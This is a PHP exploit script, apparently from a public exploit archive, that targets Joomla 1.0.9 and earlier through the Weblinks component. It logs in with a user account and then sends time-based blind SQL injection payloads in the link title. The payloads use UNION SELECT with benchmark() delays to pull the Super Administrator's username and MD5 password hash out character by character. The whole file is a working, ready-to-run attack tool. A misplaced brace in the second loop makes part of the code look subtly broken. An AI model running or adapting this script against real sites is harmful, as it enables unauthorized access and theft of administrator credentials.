#!/usr/bin/php -q -d short_open_tag=on
<?
echo "Joomla <= 1.0.9 'Weblinks' blind SQL injection / admin credentials\r\n";
echo "disclosure exploit (benchmark() vesion)\r\n";
echo "by rgod rgod@autistici.org\r\n";
echo "site: http://retrogod.altervista.org\r\n";
if ($argc<5) {
echo "Usage: php ".$argv[0]." host path user pass OPTIONS\r\n";
echo "host: target server (ip/hostname)\r\n";
echo "path: path to Joomla\r\n";
echo "user/pass: you need an account\r\n";
echo "Options:\r\n";
echo " -T[prefix] specify a table prefix different from 'jos_'\r\n";
echo " -p[port]: specify a port other than 80\r\n";
echo " -P[ip:port]: specify a proxy\r\n";
echo "Example:\r\n";
echo "php ".$argv[0]." localhost /joomla/ username password\r\n";
die;
}
/*
explaination:
same of http://retrogod.altervista.org/mambo_46rc1_sql.html
with some modifications to work against Joomla
and with an always true statement, to avoid to flood admin of e-mail notifications
about submissions (they simply do not succeed but injection works aswell)
*/
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "\r\n".$html;
}
function is_hash($hash)
{
if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}
else {return false;}
}
$host=$argv[1];
$path=$argv[2];
$user=$argv[3];
$pass=$argv[4];
$port=80;
$prefix="jos_";
$proxy="";
for ($i=5; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
if ($temp=="-T")
{
$prefix=str_replace("-T","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$data ="username=".$user;
$data.="&passwd=".$pass;
$data.="&remember=yes";
$data.="&option=login";
$data.="&Submit=Login";
$data.="&op2=login";
$data.="&lang=english";
$data.="&return=".urlencode("http://".$host.$path);
$data.="&message=0";
$packet ="POST ".$p." HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Accept: text/plain\r\n";
$packet.="Connection: Close\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
ECHO $html;
$temp=explode("Set-Cookie: ",$html);
$cookie="";
for ($i=2; $i<=count($temp)-1; $i++)
{
$temp2=explode(" ",$temp[$i]);
$cookie.=" ".$temp2[0];
}
if ((strstr($cookie,"=+;")) | $cookie=="") {die("Unable to login...");}
else
{
echo "Done...\r\ncookie -> ".$cookie."\r\n";
}
$j=1;$admin="";
while (!strstr($admin,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
$starttime=time();
$sql="' or 'suntzu'='suntzu' UNION SELECT IF ((ASCII(SUBSTRING(username,".$j.",1))=".$i.") & 1, benchmark(300000000,CHAR(0)),0) FROM ".$prefix."users WHERE usertype='Super Administrator'/*";
echo "\r\n".$sql."\r\n";
$sql=urlencode($sql);
$data ="title=".$sql;
$data.="&catid=2";
$data.="&url=".urlencode("http://www.google.com");
$data.="&description=suntzuuuuuuu";
$data.="&id=";
$data.="&option=com_weblinks";
$data.="&task=save";
$data.="&ordering=0";
$data.="&approved=1";
$data.="&Returnid=0";
$data.="&referer=".urlencode("http://".$host.$path."index.php?option=com_frontpage&Itemid=1");
$packet ="POST ".$p."index.php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Accept: text/plain\r\n";
$packet.="Connection: Close\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n\r\n";
$packet.=$data;
//debug
//echo quick_dump($packet)."\r\n";
sendpacketii($packet);
$endtime=time();
echo "endtime -> ".$endtime."\r\n";
$difftime=$endtime - $starttime;
echo "difftime -> ".$difftime."\r\n";
if ($difftime > 10) {$admin.=chr($i);echo "admin -> ".$admin."[???]\r\n";sleep(2);break;} //more than ten seconds? we succeed...
if ($i==255) {die("Exploit failed...");}
}
$j++;
}
$md5s[0]=0;//null
$md5s=array_merge($md5s,range(48,57)); //numbers
$md5s=array_merge($md5s,range(97,102));//a-f letters
//print_r(array_values($md5s));
$j=1;$password="";
while (!strstr($password,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
if (in_array($i,$md5s))
{
$starttime=time();
$sql="' or 'suntzu'='suntzu' UNION SELECT IF ((ASCII(SUBSTRING(password,".$j.",1))=".$i.") & 1, benchmark(300000000,CHAR(0)),0) FROM ".$prefix."users WHERE usertype='Super Administrator'/*";
echo "\r\n".$sql."\r\n";
$sql=urlencode($sql);
$data ="title=".$sql;
$data.="&catid=2";
$data.="&url=".urlencode("http://www.google.com");
$data.="&description=suntzuuuuuuu";
$data.="&id=";
$data.="&option=com_weblinks";
$data.="&task=save";
$data.="&ordering=0";
$data.="&approved=1";
$data.="&Returnid=0";
$data.="&referer=".urlencode("http://".$host.$path."index.php");
$packet ="POST ".$p."index.php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Accept: text/plain\r\n";
$packet.="Connection: Close\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n\r\n";
$packet.=$data;
//debug
//echo quick_dump($packet)."\r\n";
sendpacketii($packet);
$endtime=time();
echo "endtime -> ".$endtime."\r\n";
$difftime=$endtime - $starttime;
echo "difftime -> ".$difftime."\r\n";
if ($difftime > 10) {$password.=chr($i);echo "password -> ".$password."[???]\r\n";sleep(2);break;}
}
if ($i==255) {die("Exploit failed...");}
}
$j++;
}
//if you are here...
echo "Exploit succeeded...\r\n";
echo "--------------------------------------------------------------------\r\n";
echo "admin -> ".$admin."\r\n";
echo "password (md5) -> ".$password."\r\n";
echo "--------------------------------------------------------------------\r\n";
?>
